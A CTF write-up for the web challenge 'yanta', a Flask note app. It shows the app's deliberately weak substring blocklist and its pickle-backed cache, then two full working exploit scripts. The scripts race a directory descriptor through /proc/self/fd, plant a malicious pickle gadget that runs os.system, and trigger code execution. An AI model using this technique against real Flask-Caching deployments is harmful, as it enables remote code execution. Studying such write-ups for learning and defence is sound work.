Note
A Flask note app stores cache entries as md5-named pickle files and writes them via an open directory FD. By racing that still-open FD through /proc/self/fd, you bypass the path blocklist, plant a malicious pickle, and get RCE on the next cache read.
yanta — FileSystemCache pickle RCE raced through /proc/self/fd
CTF: Midnight Flag Finals 2026 · Category: Web · Stack: Python / Flask, Flask-Caching (cachelib) FileSystemCache, gunicorn (1 worker / 8 threads)
Challenge overview
YANTA ("Yet Another Note Taking App") lets you create notes and view them. The home page is rendered
HTML cached on disk so it "stays cheap to serve". There's a suid-root /getflag helper in the
container, so the goal is plainly RCE as the ctf user, then run /getflag.
Filesystem layout from the Dockerfile: /data/notes and /data/cache exist and are writable; /data
is effectively wide open; everything else is read-only. The server runs:
gunicorn -w 1 --threads 8 --timeout 60 -b 0.0.0.0:8000 wsgi:app
That detail matters: one process, eight threads → concurrent requests share the same
/proc/self/fd namespace → this screams race condition.
The pieces
1. Notes are written verbatim to a user-controlled path (storage.py / views.py), guarded only by
a substring blocklist:
BLOCKED = ("..", "cache")
def check_title(title):
low = title.lower()
for tok in BLOCKED:
if tok in low:
abort(403, f"title rejected: {tok!r} is not allowed")
def save_note(title, body):
path = _note_path(title) # os.path.join("/data/notes", title)
parent = os.path.dirname(path)
if parent: os.makedirs(parent, exist_ok=True)
with open(path, "wb") as f:
f.write(body) # raw request body, no transformation
Two gifts here:
os.path.join("/data/notes", "/abs/path")returns the absolute second argument — so an absolutenameescapes/data/notesentirely.- The blocklist is a dumb substring check for
..andcache. A path like/proc/self/fd/12/<md5>contains neither.
2. The cache stores pickle on disk under predictable names (rendercache.py):
def render_and_cache(self, name, body):
fc = self._cache.cache
fname = os.path.basename(fc._get_filename(self._key(name))) # md5("note:"+name)
dirfd = os.open(fc._path, os.O_RDONLY | os.O_DIRECTORY) # FD -> /data/cache, held open
out = render_text(body.decode("utf-8"))
fd = os.open(fname, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o644, dir_fd=dirfd)
with os.fdopen(fd, "wb") as f:
f.write(struct.pack("I", int(time.time()) + self.ttl)) # 4-byte expiry header
fc.serializer.dump(out, f) # pickle dump (cachelib default)
os.close(dirfd)
return out
cachelib's FileSystemCache serializer is pickle, so any file we can place in /data/cache with the
right name is executed on the next cache.get() (which does pickle.load()).
Filenames are deterministic: md5(key_prefix + name) with key_prefix = "note:".
>>> import hashlib; hashlib.md5(b"note:welcome.txt").hexdigest()
'6400cc4589432cfd24676ffc62c5e3c1' # matches the real file in /data/cache
The actual primitive: an open directory FD, not path traversal
We can't just write name=/data/cache/<md5> — cache is blocked. But look again at
render_and_cache: it opens a directory FD to /data/cache (dirfd) and that FD stays open for the
whole duration of rendering + serializing + writing. While it is open, the kernel exposes it as a live
symlink at /proc/self/fd/<n> pointing at /data/cache.
So from a concurrent thread, posting a note with:
name = /proc/self/fd/<n>/<md5>
resolves to /data/cache/<md5> — the string never mentions cache or .., and save_note happily
writes our bytes there. The only catch is timing: the FD only exists during a cache write, so we need
to keep one in flight and race it.
A large note body widens the window: rendering/serializing/writing megabytes keeps dirfd open longer.
Observed FD number was around 11–13 (often 12); spraying ~7–16 covers it.
Exploit
Two scripts. First, the spammer, which keeps a /data/cache directory FD open as often as possible
by writing and then reading (read triggers render_and_cache) large notes:
import requests, time
URL = "http://localhost:8000/"
i = 0
while True:
name = f"spam_{i}.txt"; i += 1
requests.post(URL + f"note?name={name}", data="r" * 1_000_000) # large body = slow write
requests.get(URL + f"note?name={name}") # GET triggers render_and_cache
time.sleep(0.01)
Second, the writer: build a pickle gadget, prepend the 4-byte expiry header so the file matches the exact on-disk format cachelib expects, spray it across candidate FDs, then force a cache read to load it:
import requests, hashlib, pickle, struct, time
URL = "http://localhost:8000/"
READ = "cnf409" # the note name we'll read back to trigger load
MD5 = hashlib.md5(f"note:{READ}".encode()).hexdigest()
class RCE:
def __reduce__(self):
import os
return (os.system, ("/getflag > /tmp/out; chmod 666 /tmp/out",))
# exact cache-entry format: little-endian 4-byte expiry, then pickle
payload = struct.pack("I", int(time.time()) + 600) + pickle.dumps(RCE())
while True:
for fd in range(7, 17): # dir FD usually ~11-13; spray a range
r = requests.post(URL + f"note?name=/proc/self/fd/{fd}/{MD5}", data=payload)
if r.status_code == 200:
requests.get(URL + f"note?name={READ}") # cache.get() -> pickle.load() -> RCE
requests.get(URL + f"note?name={READ}")
raise SystemExit(f"fired via fd {fd}")
Run the spammer in the background, then the writer. When a write lands inside /data/cache with the
right md5 name, the subsequent read of READ deserializes our pickle, os.system runs /getflag, and
the flag ends up in /tmp/out.
$ python3 exploit.py
Cache name: 337830ba2dcd35a9734496eba075cbc4
wrote RCE payload to rce.bin
triggered RCE for fd 11
Pitfalls that cost time
..and absolute-path normalization tricks are a rabbit hole. Trying to smugglecachevia unicode homoglyphs (с,․) oros.pathquirks doesn't get you a write into the live cache the app actually reads. The/proc/self/fdroute is the intended one because it reuses the app's own open directory handle.- You must actually populate the cache. A note that is only POSTed is never cached; the directory FD
only opens when the note is read (
render_and_cache). The spammer has to GET each note. - Exact file format. Forget the 4-byte little-endian expiry header and
pickle.loadchokes before reaching your__reduce__. - Thread vs. process. This works because gunicorn runs one multi-threaded process — the writer
thread shares
/proc/self/fdwith the thread holdingdirfd. Multiple processes would require hitting the same worker.
Takeaways (generalized technique)
- "Open a dir/file FD now, resolve a user-controlled name against it later
(
os.open(..., dir_fd=fd))" turns that FD into a reusable capability reachable via/proc/self/fd/<n>— a path-filter bypass that needs no... - cachelib / Flask-Caching FileSystemCache defaults to pickle; an arbitrary write into the cache dir
with a predictable
md5(prefix+key)name is RCE on the next read. - Concurrency (multi-threaded worker) + a slow/large write = a race window you can hit reliably by spamming.
- Blocklists on substrings (
..,cache) are trivially sidestepped when the dangerous path is expressed indirectly (/proc/self/fd/...).
Sources & references
- Challenge source:
midnight_flag_finals_2026/web/yanta - cachelib FileSystemCache format: https://github.com/pallets-eco/cachelib/blob/main/src/cachelib/file.py
- Related prior art: ECW 2025 "tacticoolbin" (same cache-write-to-pickle family)